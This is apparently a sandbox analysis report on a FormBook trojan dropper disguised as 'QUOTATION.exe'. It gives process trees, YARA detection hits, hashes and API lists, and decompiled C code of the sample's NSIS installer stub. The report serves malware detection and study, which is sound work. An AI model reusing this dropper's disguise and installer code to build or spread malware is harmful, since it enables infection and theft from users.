Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000008.00000002.4281579504.0000000000090000.00000040.10000000.00040000.00000000.sdmp, Author: unknown
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: explorer.exePID: 4812, Parent PID: 7268

General

Target ID:	9
Start time:	15:18:57
Start date:	20/03/2023
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Explorer.EXE
Imagebase:	0x7ff7c6e90000
File size:	4849904 bytes
MD5 hash:	5EA66FF5AE5612F921BC9DA23BAC95F7
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate

Show Windows behavior

Chronological Activities

Analysis Process: help.exePID: 5688, Parent PID: 4812

General

Target ID:	10
Start time:	15:19:03
Start date:	20/03/2023
Path:	C:\Windows\SysWOW64\help.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\help.exe
Imagebase:	0x9b0000
File size:	10240 bytes
MD5 hash:	DD40774E56D4C44B81F2DFA059285E75
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000A.00000002.7993766326.0000000003200000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 0000000A.00000002.7993766326.0000000003200000.00000040.80000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000000A.00000002.7993766326.0000000003200000.00000040.80000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000A.00000002.7999850935.0000000003760000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 0000000A.00000002.7999850935.0000000003760000.00000004.00000800.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000000A.00000002.7999850935.0000000003760000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000A.00000002.7994581430.0000000003380000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 0000000A.00000002.7994581430.0000000003380000.00000040.10000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000000A.00000002.7994581430.0000000003380000.00000040.10000000.00040000.00000000.sdmp, Author: unknown
Reputation:	moderate

Show Windows behavior

Chronological Activities

Analysis Process: firefox.exePID: 7032, Parent PID: 5688

General

Target ID:	11
Start time:	15:19:24
Start date:	20/03/2023
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	C:\Program Files\Mozilla Firefox\Firefox.exe
Imagebase:	0x7ff793fc0000
File size:	597432 bytes
MD5 hash:	FA9F4FC5D7ECAB5A20BF7A9D1251C851
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Analysis Process: QUOTATION.exePID: 948, Parent PID: 4812COMMON

Execution Graph

Execution Coverage:	18.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	18.1%
Total number of Nodes:	1517
Total number of Limit Nodes:	43

Executed Functions

Function 00403235 Relevance: 87.9, APIs: 32, Strings: 18, Instructions: 366
stringcomfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 86%

			_entry_() {
				signed int _t42;
				intOrPtr* _t47;
				CHAR* _t51;
				char* _t53;
				CHAR* _t55;
				void* _t59;
				intOrPtr _t61;
				int _t63;
				int _t66;
				signed int _t67;
				int _t68;
				signed int _t70;
				void* _t94;
				signed int _t110;
				void* _t113;
				void* _t118;
				intOrPtr* _t119;
				char _t122;
				signed int _t141;
				signed int _t142;
				int _t150;
				void* _t151;
				intOrPtr* _t153;
				CHAR* _t156;
				CHAR* _t157;
				void* _t159;
				char* _t160;
				void* _t163;
				void* _t164;
				char _t189;

				 *(_t164 + 0x18) = 0;
				 *((intOrPtr*)(_t164 + 0x10)) = "Error writing temporary file. Make sure your temp folder is valid.";
				 *(_t164 + 0x20) = 0;
				 *(_t164 + 0x14) = 0x20;
				SetErrorMode(0x8001); // executed
				_t42 = GetVersion() & 0xbfffffff;
				 *0x42370c = _t42;
				if(_t42 != 6) {
					_t119 = E00406372(0);
					if(_t119 != 0) {
						 *_t119(0xc00);
					}
				}
				_t156 = "UXTHEME";
				do {
					E00406304(_t156); // executed
					_t156 =  &(_t156[lstrlenA(_t156) + 1]);
				} while ( *_t156 != 0);
				E00406372(0xa);
				 *0x423704 = E00406372(8);
				_t47 = E00406372(6);
				if(_t47 != 0) {
					_t47 =  *_t47(0x1e);
					if(_t47 != 0) {
						 *0x42370f =  *0x42370f | 0x00000040;
					}
				}
				__imp__#17(_t159);
				__imp__OleInitialize(0); // executed
				 *0x4237d8 = _t47;
				SHGetFileInfoA(0x41ecc8, 0, _t164 + 0x38, 0x160, 0); // executed
				E00405FDA(0x422f00, "NSIS Error");
				_t51 = GetCommandLineA();
				_t160 = "\"C:\\Users\\Arthur\\Desktop\\QUOTATION.exe\"";
				E00405FDA(_t160, _t51);
				 *0x423700 = 0x400000;
				_t53 = _t160;
				if("\"C:\\Users\\Arthur\\Desktop\\QUOTATION.exe\"" == 0x22) {
					 *(_t164 + 0x14) = 0x22;
					_t53 =  &M00429001;
				}
				_t55 = CharNextA(E0040599D(_t53,  *(_t164 + 0x14)));
				 *(_t164 + 0x1c) = _t55;
				while(1) {
					_t122 =  *_t55;
					_t172 = _t122;
					if(_t122 == 0) {
						break;
					}
					__eflags = _t122 - 0x20;
					if(_t122 != 0x20) {
						L13:
						__eflags =  *_t55 - 0x22;
						 *(_t164 + 0x14) = 0x20;
						if( *_t55 == 0x22) {
							_t55 =  &(_t55[1]);
							__eflags = _t55;
							 *(_t164 + 0x14) = 0x22;
						}
						__eflags =  *_t55 - 0x2f;
						if( *_t55 != 0x2f) {
							L25:
							_t55 = E0040599D(_t55,  *(_t164 + 0x14));
							__eflags =  *_t55 - 0x22;
							if(__eflags == 0) {
								_t55 =  &(_t55[1]);
								__eflags = _t55;
							}
							continue;
						} else {
							_t55 =  &(_t55[1]);
							__eflags =  *_t55 - 0x53;
							if( *_t55 != 0x53) {
								L20:
								__eflags =  *_t55 - ((( *0x409183 << 0x00000008 |  *0x409182) << 0x00000008 |  *0x409181) << 0x00000008 | "NCRC");
								if( *_t55 != ((( *0x409183 << 0x00000008 |  *0x409182) << 0x00000008 |  *0x409181) << 0x00000008 | "NCRC")) {
									L24:
									__eflags =  *((intOrPtr*)(_t55 - 2)) - ((( *0x40917b << 0x00000008 |  *0x40917a) << 0x00000008 |  *0x409179) << 0x00000008 | " /D=");
									if( *((intOrPtr*)(_t55 - 2)) == ((( *0x40917b << 0x00000008 |  *0x40917a) << 0x00000008 |  *0x409179) << 0x00000008 | " /D=")) {
										 *((char*)(_t55 - 2)) = 0;
										__eflags =  &(_t55[2]);
										E00405FDA("C:\\Users\\Arthur\\AppData\\Local\\Microsoft\\Windows\\INetCache\\Ghetto",  &(_t55[2]));
										L30:
										_t157 = "C:\\Users\\Arthur\\AppData\\Local\\Temp\\";
										GetTempPathA(0x400, _t157); // executed
										_t59 = E00403204(_t172);
										_t173 = _t59;
										if(_t59 != 0) {
											L33:
											DeleteFileA("1033"); // executed
											_t61 = E00402DC4(_t175,  *(_t164 + 0x20)); // executed
											 *((intOrPtr*)(_t164 + 0x10)) = _t61;
											if(_t61 != 0) {
												L43:
												E0040371D();
												__imp__OleUninitialize();
												_t185 =  *((intOrPtr*)(_t164 + 0x10));
												if( *((intOrPtr*)(_t164 + 0x10)) == 0) {
													__eflags =  *0x4237b4;
													if( *0x4237b4 == 0) {
														L67:
														_t63 =  *0x4237cc;
														__eflags = _t63 - 0xffffffff;
														if(_t63 != 0xffffffff) {
															 *(_t164 + 0x14) = _t63;
														}
														ExitProcess( *(_t164 + 0x14));
													}
													_t66 = OpenProcessToken(GetCurrentProcess(), 0x28, _t164 + 0x18);
													__eflags = _t66;
													_t150 = 2;
													if(_t66 != 0) {
														LookupPrivilegeValueA(0, "SeShutdownPrivilege", _t164 + 0x24);
														 *(_t164 + 0x38) = 1;
														 *(_t164 + 0x44) = _t150;
														AdjustTokenPrivileges( *(_t164 + 0x2c), 0, _t164 + 0x28, 0, 0, 0);
													}
													_t67 = E00406372(4);
													__eflags = _t67;
													if(_t67 == 0) {
														L65:
														_t68 = ExitWindowsEx(_t150, 0x80040002);
														__eflags = _t68;
														if(_t68 != 0) {
															goto L67;
														}
														goto L66;
													} else {
														_t70 =  *_t67(0, 0, 0, 0x25, 0x80040002);
														__eflags = _t70;
														if(_t70 == 0) {
															L66:
															E0040140B(9);
															goto L67;
														}
														goto L65;
													}
												}
												E004056F6( *((intOrPtr*)(_t164 + 0x10)), 0x200010);
												ExitProcess(2);
											}
											if( *0x423720 == 0) {
												L42:
												 *0x4237cc =  *0x4237cc | 0xffffffff;
												 *(_t164 + 0x18) = E004037F7( *0x4237cc);
												goto L43;
											}
											_t153 = E0040599D(_t160, 0);
											if(_t153 < _t160) {
												L39:
												_t182 = _t153 - _t160;
												 *((intOrPtr*)(_t164 + 0x10)) = "Error launching installer";
												if(_t153 < _t160) {
													_t151 = E00405661(_t185);
													lstrcatA(_t157, "~nsu");
													if(_t151 != 0) {
														lstrcatA(_t157, "A");
													}
													lstrcatA(_t157, ".tmp");
													_t162 = "C:\\Users\\Arthur\\Desktop";
													if(lstrcmpiA(_t157, "C:\\Users\\Arthur\\Desktop") != 0) {
														_push(_t157);
														if(_t151 == 0) {
															E00405644();
														} else {
															E004055C7();
														}
														SetCurrentDirectoryA(_t157);
														_t189 = "C:\\Users\\Arthur\\AppData\\Local\\Microsoft\\Windows\\INetCache\\Ghetto"; // 0x43
														if(_t189 == 0) {
															E00405FDA("C:\\Users\\Arthur\\AppData\\Local\\Microsoft\\Windows\\INetCache\\Ghetto", _t162);
														}
														E00405FDA(0x424000,  *(_t164 + 0x1c));
														_t137 = "A";
														_t163 = 0x1a;
														 *0x424400 = "A";
														do {
															E00405FFC(0, 0x41e8c8, _t157, 0x41e8c8,  *((intOrPtr*)( *0x423714 + 0x120)));
															DeleteFileA(0x41e8c8);
															if( *((intOrPtr*)(_t164 + 0x10)) != 0 && CopyFileA("C:\\Users\\Arthur\\Desktop\\QUOTATION.exe", 0x41e8c8, 1) != 0) {
																E00405DB9(_t137, 0x41e8c8, 0);
																E00405FFC(0, 0x41e8c8, _t157, 0x41e8c8,  *((intOrPtr*)( *0x423714 + 0x124)));
																_t94 = E00405679(0x41e8c8);
																if(_t94 != 0) {
																	CloseHandle(_t94);
																	 *((intOrPtr*)(_t164 + 0x10)) = 0;
																}
															}
															 *0x424400 =  *0x424400 + 1;
															_t163 = _t163 - 1;
														} while (_t163 != 0);
														E00405DB9(_t137, _t157, 0);
													}
													goto L43;
												}
												 *_t153 = 0;
												_t154 = _t153 + 4;
												if(E00405A60(_t182, _t153 + 4) == 0) {
													goto L43;
												}
												E00405FDA("C:\\Users\\Arthur\\AppData\\Local\\Microsoft\\Windows\\INetCache\\Ghetto", _t154);
												E00405FDA("C:\\Users\\Arthur\\AppData\\Local\\Microsoft\\Windows\\INetCache\\Ghetto\\Wept", _t154);
												 *((intOrPtr*)(_t164 + 0x10)) = 0;
												goto L42;
											}
											_t110 = (( *0x40915b << 0x00000008 |  *0x40915a) << 0x00000008 |  *0x409159) << 0x00000008 | " _?=";
											while( *_t153 != _t110) {
												_t153 = _t153 - 1;
												if(_t153 >= _t160) {
													continue;
												}
												goto L39;
											}
											goto L39;
										}
										GetWindowsDirectoryA(_t157, 0x3fb);
										lstrcatA(_t157, "\\Temp");
										_t113 = E00403204(_t173);
										_t174 = _t113;
										if(_t113 != 0) {
											goto L33;
										}
										GetTempPathA(0x3fc, _t157);
										lstrcatA(_t157, "Low");
										SetEnvironmentVariableA("TEMP", _t157);
										SetEnvironmentVariableA("TMP", _t157);
										_t118 = E00403204(_t174);
										_t175 = _t118;
										if(_t118 == 0) {
											goto L43;
										}
										goto L33;
									}
									goto L25;
								}
								_t141 = _t55[4];
								__eflags = _t141 - 0x20;
								if(_t141 == 0x20) {
									L23:
									_t15 = _t164 + 0x20;
									 *_t15 =  *(_t164 + 0x20) | 0x00000004;
									__eflags =  *_t15;
									goto L24;
								}
								__eflags = _t141;
								if(_t141 != 0) {
									goto L24;
								}
								goto L23;
							}
							_t142 = _t55[1];
							__eflags = _t142 - 0x20;
							if(_t142 == 0x20) {
								L19:
								 *0x4237c0 = 1;
								goto L20;
							}
							__eflags = _t142;
							if(_t142 != 0) {
								goto L20;
							}
							goto L19;
						}
					} else {
						goto L12;
					}
					do {
						L12:
						_t55 =  &(_t55[1]);
						__eflags =  *_t55 - 0x20;
					} while ( *_t55 == 0x20);
					goto L13;
				}
				goto L30;
			}

0x00403245
0x00403249
0x00403251
0x00403255
0x0040325a
0x00403266
0x0040326f
0x00403274
0x00403277
0x0040327e
0x00403285
0x00403285
0x0040327e
0x00403287
0x0040328c
0x0040328d
0x00403299
0x0040329d
0x004032a3
0x004032b1
0x004032b6
0x004032bd
0x004032c1
0x004032c5
0x004032c7
0x004032c7
0x004032c5
0x004032cf
0x004032d6
0x004032dc
0x004032f2
0x00403302
0x00403307
0x0040330d
0x00403314
0x00403320
0x0040332a
0x0040332c
0x0040332e
0x00403333
0x00403333
0x00403343
0x00403349
0x00403412
0x00403412
0x00403414
0x00403416
0x00000000
0x00000000
0x00403352
0x00403355
0x0040335d
0x0040335d
0x00403360
0x00403365
0x00403367
0x00403367
0x00403368
0x00403368
0x0040336d
0x00403370
0x00403402
0x00403407
0x0040340c
0x0040340f
0x00403411
0x00403411
0x00403411
0x00000000
0x00403376
0x00403376
0x00403377
0x0040337a
0x00403392
0x004033bd
0x004033bf
0x004033d2
0x004033fd
0x00403400
0x0040341e
0x00403421
0x0040342a
0x0040342f
0x00403435
0x00403440
0x00403442
0x00403447
0x00403449
0x004034a1
0x004034a6
0x004034b0
0x004034b7
0x004034bb
0x0040354f
0x0040354f
0x00403554
0x0040355a
0x0040355f
0x00403683
0x00403689
0x00403705
0x00403705
0x0040370a
0x0040370d
0x0040370f
0x0040370f
0x00403717
0x00403717
0x00403699
0x004036a1
0x004036a3
0x004036a4
0x004036b1
0x004036c4
0x004036cc
0x004036d0
0x004036d0
0x004036d8
0x004036dd
0x004036e4
0x004036f2
0x004036f4
0x004036fa
0x004036fc
0x00000000
0x00000000
0x00000000
0x004036e6
0x004036ec
0x004036ee
0x004036f0
0x004036fe
0x00403700
0x00000000
0x00403700
0x00000000
0x004036f0
0x004036e4
0x0040356e
0x00403575
0x00403575
0x004034c7
0x0040353f
0x0040353f
0x0040354b
0x00000000
0x0040354b
0x004034d0
0x004034d4
0x0040350a
0x0040350a
0x0040350c
0x00403514
0x00403586
0x00403588
0x0040358f
0x00403597
0x00403597
0x004035a2
0x004035a7
0x004035b6
0x004035ba
0x004035bb
0x004035c4
0x004035bd
0x004035bd
0x004035bd
0x004035ca
0x004035d0
0x004035d6
0x004035de
0x004035de
0x004035ec
0x004035f1
0x00403603
0x0040360b
0x00403611
0x0040361d
0x00403623
0x0040362d
0x00403643
0x00403654
0x0040365a
0x00403661
0x00403664
0x0040366a
0x0040366a
0x00403661
0x0040366e
0x00403674
0x00403674
0x00403679
0x00403679
0x00000000
0x004035b6
0x00403516
0x00403518
0x00403523
0x00000000
0x00000000
0x0040352b
0x00403536
0x0040353b
0x00000000
0x0040353b
0x004034ff
0x00403501
0x00403505
0x00403508
0x00000000
0x00000000
0x00000000
0x00403508
0x00000000
0x00403501
0x00403451
0x0040345d
0x00403462
0x00403467
0x00403469
0x00000000
0x00000000
0x00403471
0x00403479
0x0040348a
0x00403492
0x00403494
0x00403499
0x0040349b
0x00000000
0x00000000
0x00000000
0x0040349b
0x00000000
0x00403400
0x004033c1
0x004033c4
0x004033c7
0x004033cd
0x004033cd
0x004033cd
0x004033cd
0x00000000
0x004033cd
0x004033c9
0x004033cb
0x00000000
0x00000000
0x00000000
0x004033cb
0x0040337c
0x0040337f
0x00403382
0x00403388
0x00403388
0x00000000
0x00403388
0x00403384
0x00403386
0x00000000
0x00000000
0x00000000
0x00403386
0x00000000
0x00000000
0x00000000
0x00403357
0x00403357
0x00403357
0x00403358
0x00403358
0x00000000
0x00403357
0x00000000

APIs

SetErrorMode.KERNELBASE ref: 0040325A
GetVersion.KERNEL32 ref: 00403260
lstrlenA.KERNEL32(UXTHEME,UXTHEME), ref: 00403293
#17.COMCTL32(?,00000006,00000008,0000000A), ref: 004032CF
OleInitialize.OLE32(00000000), ref: 004032D6
SHGetFileInfoA.SHELL32(0041ECC8,00000000,?,00000160,00000000,?,00000006,00000008,0000000A), ref: 004032F2
GetCommandLineA.KERNEL32(00422F00,NSIS Error,?,00000006,00000008,0000000A), ref: 00403307
CharNextA.USER32(00000000,"C:\Users\user\Desktop\QUOTATION.exe",00000020,"C:\Users\user\Desktop\QUOTATION.exe",00000000,?,00000006,00000008,0000000A), ref: 00403343
GetTempPathA.KERNELBASE(00000400,C:\Users\user\AppData\Local\Temp\,00000000,00000020,?,00000006,00000008,0000000A), ref: 00403440
GetWindowsDirectoryA.KERNEL32(C:\Users\user\AppData\Local\Temp\,000003FB,?,00000006,00000008,0000000A), ref: 00403451
lstrcatA.KERNEL32(C:\Users\user\AppData\Local\Temp\,\Temp,?,00000006,00000008,0000000A), ref: 0040345D
GetTempPathA.KERNEL32(000003FC,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,\Temp,?,00000006,00000008,0000000A), ref: 00403471
lstrcatA.KERNEL32(C:\Users\user\AppData\Local\Temp\,Low,?,00000006,00000008,0000000A), ref: 00403479
SetEnvironmentVariableA.KERNEL32(TEMP,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,Low,?,00000006,00000008,0000000A), ref: 0040348A
SetEnvironmentVariableA.KERNEL32(TMP,C:\Users\user\AppData\Local\Temp\,?,00000006,00000008,0000000A), ref: 00403492
DeleteFileA.KERNELBASE(1033,?,00000006,00000008,0000000A), ref: 004034A6

Part of subcall function 00406372: GetModuleHandleA.KERNEL32(?,?,?,004032A8,0000000A), ref: 00406384
Part of subcall function 00406372: GetProcAddress.KERNEL32(00000000,?), ref: 0040639F

Part of subcall function 004037F7: lstrlenA.KERNEL32(Call,?,?,?,Call,00000000,C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Ghetto,1033,Sepad149: Installing,80000001,Control Panel\Desktop\ResourceLocale,00000000,Sepad149: Installing,00000000,00000002,76B43410), ref: 004038E7
Part of subcall function 004037F7: lstrcmpiA.KERNEL32(?,.exe), ref: 004038FA
Part of subcall function 004037F7: GetFileAttributesA.KERNEL32(Call), ref: 00403905
Part of subcall function 004037F7: LoadImageA.USER32(00000067,00000001,00000000,00000000,00008040,C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Ghetto), ref: 0040394E
Part of subcall function 004037F7: RegisterClassA.USER32(00422EA0), ref: 0040398B

Part of subcall function 0040371D: CloseHandle.KERNEL32(000002F0,00403554,?,?,00000006,00000008,0000000A), ref: 00403728

OleUninitialize.OLE32(?,?,00000006,00000008,0000000A), ref: 00403554
ExitProcess.KERNEL32 ref: 00403575
GetCurrentProcess.KERNEL32(00000028,?,00000006,00000008,0000000A), ref: 00403692
OpenProcessToken.ADVAPI32(00000000), ref: 00403699
LookupPrivilegeValueA.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 004036B1
AdjustTokenPrivileges.ADVAPI32(?,?,?,?,00000000,?,00000000,00000000,00000000), ref: 004036D0
ExitWindowsEx.USER32(00000002,80040002), ref: 004036F4
ExitProcess.KERNEL32 ref: 00403717

Part of subcall function 004056F6: MessageBoxIndirectA.USER32(00409218), ref: 00405751

Strings

1033, xrefs: 004034A1
C:\Users\user\Desktop, xrefs: 004035A7, 004035AC, 004035D8
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Ghetto\Wept, xrefs: 00403531
.tmp, xrefs: 0040359C
TMP, xrefs: 0040348D
UXTHEME, xrefs: 00403287, 0040328C, 00403292
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Ghetto, xrefs: 00403425, 00403526, 004035D0, 004035D9
NSIS Error, xrefs: 004032F8
TEMP, xrefs: 00403485
"C:\Users\user\Desktop\QUOTATION.exe", xrefs: 0040330D, 00403313, 004034CA
Low, xrefs: 00403473
C:\Users\user\AppData\Local\Temp\, xrefs: 00403435, 0040343A, 00403450, 0040345C, 0040346B, 00403478, 00403484, 0040348C, 00403585, 00403596, 004035A1, 004035AD, 004035BA, 004035C9, 00403678
", xrefs: 00403368
Error launching installer, xrefs: 0040350C
C:\Users\user\Desktop\QUOTATION.exe, xrefs: 00403632
\Temp, xrefs: 00403457
~nsu, xrefs: 00403580
SeShutdownPrivilege, xrefs: 004036AB

Memory Dump Source

Source File: 00000002.00000002.3670977684.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3670951494.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671039048.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000429000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000433000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671365540.0000000000436000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_QUOTATION.jbxd

Similarity

API ID: Process$ExitFile$EnvironmentHandlePathTempTokenVariableWindowslstrcatlstrlen$AddressAdjustAttributesCharClassCloseCommandCurrentDeleteDirectoryErrorImageIndirectInfoInitializeLineLoadLookupMessageModeModuleNextOpenPrivilegePrivilegesProcRegisterUninitializeValueVersionlstrcmpi
String ID: "$"C:\Users\user\Desktop\QUOTATION.exe"$.tmp$1033$C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Ghetto$C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Ghetto\Wept$C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop$C:\Users\user\Desktop\QUOTATION.exe$Error launching installer$Low$NSIS Error$SeShutdownPrivilege$TEMP$TMP$UXTHEME$\Temp$~nsu
API String ID: 3776617018-1989101131
Opcode ID: 47f0f4bfed41ce18027c3f7b4cd283128f530326f184dcc79bdceb26c856a261
Instruction ID: 70de6b230954929a2c0fab4aa6e61a8dc1a32ac2bd4530e0982157a086cffda4
Opcode Fuzzy Hash: 47f0f4bfed41ce18027c3f7b4cd283128f530326f184dcc79bdceb26c856a261
Instruction Fuzzy Hash: 62C1F6706086526AE7216F759D49B2F3EA8EB81706F04453FF541B61E2CB7C8E05CB2E

Uniqueness

Uniqueness Score: -1.00%

Function 0040523F Relevance: 65.0, APIs: 36, Strings: 1, Instructions: 282
windowclipboardmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 96%

			E0040523F(struct HWND__* _a4, long _a8, long _a12, unsigned int _a16) {
				struct HWND__* _v8;
				struct tagRECT _v24;
				void* _v32;
				signed int _v36;
				int _v40;
				int _v44;
				signed int _v48;
				int _v52;
				void* _v56;
				void* _v64;
				void* __ebx;
				void* __edi;
				void* __esi;
				struct HWND__* _t87;
				struct HWND__* _t89;
				long _t90;
				int _t95;
				int _t96;
				long _t99;
				void* _t102;
				intOrPtr _t113;
				void* _t121;
				intOrPtr _t124;
				struct HWND__* _t128;
				int _t150;
				int _t153;
				long _t157;
				struct HWND__* _t161;
				struct HMENU__* _t163;
				long _t165;
				void* _t166;
				char* _t167;
				char* _t168;
				int _t169;

				_t87 =  *0x422ee4; // 0x103c8
				_t157 = _a8;
				_t150 = 0;
				_v8 = _t87;
				if(_t157 != 0x110) {
					__eflags = _t157 - 0x405;
					if(_t157 == 0x405) {
						_t121 = CreateThread(0, 0, E004051D3, GetDlgItem(_a4, 0x3ec), 0,  &_a8); // executed
						CloseHandle(_t121);
					}
					__eflags = _t157 - 0x111;
					if(_t157 != 0x111) {
						L17:
						__eflags = _t157 - 0x404;
						if(_t157 != 0x404) {
							L25:
							__eflags = _t157 - 0x7b;
							if(_t157 != 0x7b) {
								goto L20;
							}
							_t89 = _v8;
							__eflags = _a12 - _t89;
							if(_a12 != _t89) {
								goto L20;
							}
							_t90 = SendMessageA(_t89, 0x1004, _t150, _t150);
							__eflags = _t90 - _t150;
							_a12 = _t90;
							if(_t90 <= _t150) {
								L36:
								return 0;
							}
							_t163 = CreatePopupMenu();
							AppendMenuA(_t163, _t150, 1, E00405FFC(_t150, _t157, _t163, _t150, 0xffffffe1));
							_t95 = _a16;
							__eflags = _a16 - 0xffffffff;
							_t153 = _a16 >> 0x10;
							if(_a16 == 0xffffffff) {
								GetWindowRect(_v8,  &_v24);
								_t95 = _v24.left;
								_t153 = _v24.top;
							}
							_t96 = TrackPopupMenu(_t163, 0x180, _t95, _t153, _t150, _a4, _t150);
							__eflags = _t96 - 1;
							if(_t96 == 1) {
								_t165 = 1;
								__eflags = 1;
								_v56 = _t150;
								_v44 = 0x41fd08;
								_v40 = 0x1000;
								_a4 = _a12;
								do {
									_a4 = _a4 - 1;
									_t99 = SendMessageA(_v8, 0x102d, _a4,  &_v64);
									__eflags = _a4 - _t150;
									_t165 = _t165 + _t99 + 2;
								} while (_a4 != _t150);
								OpenClipboard(_t150);
								EmptyClipboard();
								_t102 = GlobalAlloc(0x42, _t165);
								_a4 = _t102;
								_t166 = GlobalLock(_t102);
								do {
									_v44 = _t166;
									_t167 = _t166 + SendMessageA(_v8, 0x102d, _t150,  &_v64);
									 *_t167 = 0xd;
									_t168 = _t167 + 1;
									 *_t168 = 0xa;
									_t166 = _t168 + 1;
									_t150 = _t150 + 1;
									__eflags = _t150 - _a12;
								} while (_t150 < _a12);
								GlobalUnlock(_a4);
								SetClipboardData(1, _a4);
								CloseClipboard();
							}
							goto L36;
						}
						__eflags =  *0x422ecc - _t150; // 0x0
						if(__eflags == 0) {
							ShowWindow( *0x423708, 8);
							__eflags =  *0x4237ac - _t150;
							if( *0x4237ac == _t150) {
								_t113 =  *0x41f4e0; // 0x49cc1c
								E00405101( *((intOrPtr*)(_t113 + 0x34)), _t150);
							}
							E00404041(1);
							goto L25;
						}
						 *0x41f0d8 = 2;
						E00404041(0x78);
						goto L20;
					} else {
						__eflags = _a12 - 0x403;
						if(_a12 != 0x403) {
							L20:
							return E004040CF(_t157, _a12, _a16);
						}
						ShowWindow( *0x422ed0, _t150);
						ShowWindow(_v8, 8);
						E0040409D(_v8);
						goto L17;
					}
				}
				_v48 = _v48 | 0xffffffff;
				_v36 = _v36 | 0xffffffff;
				_t169 = 2;
				_v56 = _t169;
				_v52 = 0;
				_v44 = 0;
				_v40 = 0;
				asm("stosd");
				asm("stosd");
				_t124 =  *0x423714;
				_a12 =  *((intOrPtr*)(_t124 + 0x5c));
				_a8 =  *((intOrPtr*)(_t124 + 0x60));
				 *0x422ed0 = GetDlgItem(_a4, 0x403);
				 *0x422ec8 = GetDlgItem(_a4, 0x3ee);
				_t128 = GetDlgItem(_a4, 0x3f8);
				 *0x422ee4 = _t128;
				_v8 = _t128;
				E0040409D( *0x422ed0);
				 *0x422ed4 = E0040498E(4);
				 *0x422eec = 0;
				GetClientRect(_v8,  &_v24);
				_v48 = _v24.right - GetSystemMetrics(_t169);
				SendMessageA(_v8, 0x101b, 0,  &_v56); // executed
				SendMessageA(_v8, 0x1036, 0x4000, 0x4000); // executed
				if(_a12 >= 0) {
					SendMessageA(_v8, 0x1001, 0, _a12);
					SendMessageA(_v8, 0x1026, 0, _a12);
				}
				if(_a8 >= _t150) {
					SendMessageA(_v8, 0x1024, _t150, _a8);
				}
				_push( *((intOrPtr*)(_a16 + 0x30)));
				_push(0x1b);
				E00404068(_a4);
				if(( *0x42371c & 0x00000003) != 0) {
					ShowWindow( *0x422ed0, _t150);
					if(( *0x42371c & 0x00000002) != 0) {
						 *0x422ed0 = _t150;
					} else {
						ShowWindow(_v8, 8);
					}
					E0040409D( *0x422ec8);
				}
				_t161 = GetDlgItem(_a4, 0x3ec);
				SendMessageA(_t161, 0x401, _t150, 0x75300000);
				if(( *0x42371c & 0x00000004) != 0) {
					SendMessageA(_t161, 0x409, _t150, _a8);
					SendMessageA(_t161, 0x2001, _t150, _a12);
				}
				goto L36;
			}

0x00405245
0x0040524d
0x00405250
0x00405258
0x0040525b
0x004053ea
0x004053f0
0x0040540d
0x00405414
0x00405414
0x00405420
0x00405426
0x00405448
0x00405448
0x0040544e
0x004054a3
0x004054a3
0x004054a6
0x00000000
0x00000000
0x004054a8
0x004054ab
0x004054ae
0x00000000
0x00000000
0x004054b8
0x004054be
0x004054c0
0x004054c3
0x004055c0
